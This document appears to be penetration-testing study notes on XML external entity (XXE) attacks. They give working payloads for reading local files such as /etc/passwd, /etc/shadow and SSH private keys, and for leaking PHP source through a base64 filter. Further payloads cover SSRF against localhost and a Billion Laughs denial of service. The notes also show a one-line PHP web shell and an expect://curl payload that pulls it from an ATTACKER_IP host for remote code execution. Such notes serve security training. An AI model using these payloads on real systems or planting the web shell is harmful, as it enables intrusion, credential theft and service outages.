XXE โ Local File Disclosure
Identifying XXE vulnerabilities
Look for web forms or API endpoints that submit data in XML format. Intercept the request with Burp and inspect the Content-Type and body.
Step 1 โ confirm entity injection works
Add an inline DTD with an internal entity and replace a reflected fieldโs value with the entity reference:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY company "Inlane Freight">
]>
<root>
<name>test</name>
<email>&company;</email>
...
</root>
- If the response reflects
Inlane Freightโ the parser is substituting entities and the app is vulnerable - If the response reflects
&company;literally โ entity injection is not working
If the XML already contains a DOCTYPE, add the ENTITY declaration inside the existing block rather than inserting a new one.
Tip: Some applications default to JSON but also accept XML. Try switching Content-Type: application/json โ Content-Type: application/xml and converting the body. An unexpected XXE may be present.
Reading sensitive files
Replace the internal entity value with an external SYSTEM reference pointing to a local file:
<!DOCTYPE email [
<!ENTITY company SYSTEM "file:///etc/passwd">
]>
Reference &company; in a reflected element. If the file contents appear in the response, the XXE is exploitable for local file disclosure.
Common targets:
/etc/passwdโ user accounts/etc/shadowโ password hashes (requires root)~/.ssh/id_rsaโ SSH private keys- Application config files containing database credentials or API keys
On Java web applications, pointing the entity at a directory path may return a directory listing rather than an error.
Reading source code (PHP)
Plain file:// breaks on files containing XML special characters (<, >, &). Use PHPโs base64 filter wrapper to encode the file contents first:
<!DOCTYPE email [
<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
The response will contain the base64-encoded source. Decode it with Burpโs Inspector tab or base64 -d. This enables whitebox analysis for further vulnerabilities.
Limitation: PHP filter wrappers only work on PHP applications.
Remote code execution via XXE
Option 1 โ expect:// (PHP only, rarely available)
If the PHP expect module is installed:
<!ENTITY company SYSTEM "expect://id">
This only works for simple commands โ complex payloads (pipes, redirects, {) may break XML syntax.
Option 2 โ web shell delivery via expect://curl
Prepare the shell and serve it:
echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
sudo python3 -m http.server 80
Deliver via XXE:
<?xml version="1.0"?>
<!DOCTYPE email [
<!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'ATTACKER_IP/shell.php'">
]>
<root>
<email>&company;</email>
...
</root>
$IFS replaces spaces to avoid breaking XML syntax. Avoid |, >, { in the command. After a request hits the Python server, interact with the shell for RCE.
Note: expect is not enabled by default on modern PHP servers โ XXE is more commonly used for file disclosure than RCE.
Other XXE attack classes
SSRF
Replace the external entity path with an internal URL to probe localhost ports or restricted internal pages:
<!ENTITY company SYSTEM "http://127.0.0.1:8080/admin">
DoS โ Billion Laughs
Exponential entity expansion exhausts server memory:
<?xml version="1.0"?>
<!DOCTYPE email [
<!ENTITY a0 "DOS" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
<!ENTITY a5 "&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;">
...
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
]>
<root><email>&a10;</email></root>
Each level multiplies the previous by 10 โ a10 expands to 10 billion copies of DOS. Modern servers (e.g., Apache) protect against self-referencing entity loops, so this has limited practical impact today.